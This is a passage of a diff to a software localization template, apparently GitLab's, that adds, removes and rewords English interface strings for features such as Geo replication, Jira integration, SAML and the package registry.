msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12478,6 +12817,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12490,12 +12832,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12523,9 +12859,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12547,13 +12880,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12652,6 +12988,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12679,9 +13018,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12730,9 +13075,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12787,9 +13129,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13174,10 +13513,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13210,7 +13549,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13312,6 +13651,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13360,12 +13702,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13375,9 +13720,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13402,6 +13744,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13411,6 +13756,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13426,6 +13774,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13444,9 +13795,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13708,6 +14056,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13750,9 +14101,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13777,6 +14134,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13810,6 +14176,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13837,6 +14209,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13849,6 +14224,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13876,6 +14275,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13888,6 +14290,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13921,6 +14326,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13966,6 +14374,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14095,6 +14506,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14218,6 +14635,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14260,9 +14695,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14392,16 +14824,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14413,6 +14842,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14470,6 +14902,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14551,9 +14989,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14656,9 +15091,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14674,7 +15115,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14770,9 +15214,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14968,9 +15409,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15106,9 +15544,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15289,6 +15724,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15457,6 +15895,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15619,9 +16063,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15670,12 +16111,15 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15685,9 +16129,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16273,6 +16714,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16444,6 +16888,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16489,9 +16936,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16516,6 +16960,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16552,9 +16999,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16750,7 +17194,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16759,7 +17203,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16768,25 +17212,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16801,6 +17245,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16963,6 +17410,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16972,6 +17422,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17059,6 +17512,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17122,6 +17578,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17209,6 +17668,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17221,9 +17683,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17263,7 +17734,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17284,7 +17758,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17296,12 +17770,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17518,15 +17998,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17617,6 +18088,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17821,6 +18295,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18226,6 +18703,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18295,6 +18775,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18469,6 +18952,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18508,6 +18994,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18532,9 +19021,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18610,6 +19096,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18628,13 +19117,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18709,6 +19195,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18811,9 +19300,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18823,9 +19309,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18958,9 +19441,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19018,9 +19498,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19585,6 +20062,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19777,6 +20257,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19840,6 +20326,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19975,6 +20464,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20293,6 +20785,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20341,9 +20842,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20509,6 +21007,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20554,6 +21055,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20620,7 +21124,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20671,6 +21175,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20758,6 +21265,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20929,6 +21439,30 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21043,6 +21577,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21175,10 +21718,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21268,9 +21808,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21295,9 +21832,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21328,6 +21862,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21415,12 +21952,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21439,9 +21970,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21454,10 +21982,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21472,6 +22003,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21523,6 +22057,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21631,12 +22168,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21667,6 +22210,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21685,6 +22231,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21736,6 +22285,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21760,9 +22312,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21799,15 +22348,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
